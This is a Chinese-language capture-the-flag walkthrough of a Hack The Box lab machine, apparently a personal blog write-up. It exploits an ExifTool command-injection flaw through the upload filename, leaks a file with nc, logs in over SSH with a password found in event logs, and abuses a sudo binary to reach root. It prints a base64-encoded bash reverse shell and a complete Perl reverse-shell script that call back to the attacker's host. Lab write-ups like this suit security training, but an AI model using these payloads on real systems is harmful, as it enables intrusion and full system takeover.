kali攻击机ip:10.10.14.7
靶机ip:10.10.11.197
能ping通靶机,可以开始啦
端口全扫描
nmap -sS -sV -T5 -p- 10.10.11.197
全扫描
发现80,22端口开放
添加本地hosts配置
vim /etc/hosts
10.10.11.197 eforenzics.htb
页面探测
访问80端口,发现了一个可以上传图片的地方
尝试上传png图片
上传成功后点击”here“后可以查看图片信息,是经过exiftool解析后的信息
有一个关键信息,第一行,告诉我们exiftool的版本信息
ExifTool Version Number : 12.37
查找对应的cve
漏洞利用
Command Injection in Exiftool before 12.38 (github.com)
通过修改filename为我们的命令,并以管道符|结尾,便可以利用exiftool执行系统命令
我的想法是,在filename字段里使用bash命令反弹shell
重新提交upload表单,并使用bp拦截
先尝试ping命令,能不能连通kali
kali上使用tcpdump监听tun1的ip包
tcpdump icmp -i tun1 -v
修改filename字段
ping 10.10.14.7|
成功ping通
接下来就是反弹shell了
依据我之前的经验,这里的参数很可能会被过过滤,所以传递的数据包一般都要经过base64编码
先编码再解码再使用bash命令执行
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43LzY2NjYgMD4mMQ==' | base64 -d | bash |
kali开启nc监听
反弹成功
发现smorton用户,接下来就是想办法登录smorton账号了
目录探测
发现这个目录底下有两个比较特别的文件,一个属于smorton,一个属于我们的当前用户www-data
cd /usr/local/investigation
Windows\ Event\ Logs\ for\ Analysis.msg
年少无知的我cat看了看,吓我一大跳
搜索一波
Msg文件格式是微软outlook软件,outlook邮件客户端的格式,也就是常说的邮件,包含了发件人、主题、收件人、邮件内容等等。
由于是微软特有的格式目前来说只有通过微软outlook或相关软件来解决打开
既然没办法直接查看,那只能先下载到kali本机再查看了
使用nc命令下载文件,然后传到windows本地
nc 10.10.14.7 6666 < Windows\ Event\ Logs\ for\ Analysis.msg
nc -lvnp 6666 > Windows\ Event\ Logs\ for\ Analysis.msg
这个链接可以在线查看msg文件
Free MSG EML Viewer | Free Online Email Viewer (encryptomatic.com)
发现一个log的zip文件
解压后发现是个windows日志文件(.evtx文件)
经过我仔细的查找,终于在过滤后关键字为审核失败的日志中发现了一个奇怪的账户名
Def@ultf0r3nz!csPa$$
ssh远程登录
使用上述字符串作为密码登录smorton
在用户目录下发现flag
提权
sudo -l
发现suid权限文件
不过这是个二进制文件,没法直接查看源码来利用该文件
那就将文件拉进windows机器之后用IDA反汇编
因为是比较简单的代码,可以按F5反汇编成c语言代码查看
下面是程序的主要函数
关键函数后面我加了注释,该程序的主要作用就是获取第二个参数所指向的url下的pl脚本文件,然后使用perl执行该文件
if ( argc != 3 ) #判断参数是否为三个,python传参第一个就是程序本身,剩下两个要我们自己传
{
puts("Exiting... ");
exit(0);
}
if ( getuid() ) #判断uid是否为0
{
puts("Exiting... ");
exit(0);
}
if ( strcmp(argv[2], "lDnxUysaQn") ) 判断第三个参数是否为lDnxUysaQn
{
puts("Exiting... ");
exit(0);
}
puts("Running... ");
stream = fopen(argv[2], "wb"); #获取url下文件名
v5 = curl_easy_init();
curl_easy_setopt(v5, 10002LL, argv[1]);
curl_easy_setopt(v5, 10001LL, stream);
curl_easy_setopt(v5, 45LL, 1LL);
if ( (unsigned int)curl_easy_perform(v5) )
{
puts("Exiting... ");
exit(0);
}
v6 = snprintf(0LL, 0LL, "%s", argv[2]);
s = (char *)malloc(v6 + 1);
snprintf(s, v6 + 1, "%s", argv[2]);
v7 = snprintf(0LL, 0LL, "perl ./%s", s); #运行perl脚本,也就是上面所获取的文件
command = (char *)malloc(v7 + 1);
snprintf(command, v7 + 1, "perl ./%s", s);
fclose(stream);
curl_easy_cleanup(v5);
setuid(0);
system(command);
system("rm -f ./lDnxUysaQn");
return 0;
在kali编写perl反弹shell脚本
use Socket;
$i="10.10.14.7";
$p=2222;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");};
原地开启http服务
python -m http.server 80
并且开启nc监听
执行suid文件
sudo /usr/bin/binary 10.10.14.7/shell.pl lDnxUysaQn
成功获取root权限shell
o了 😃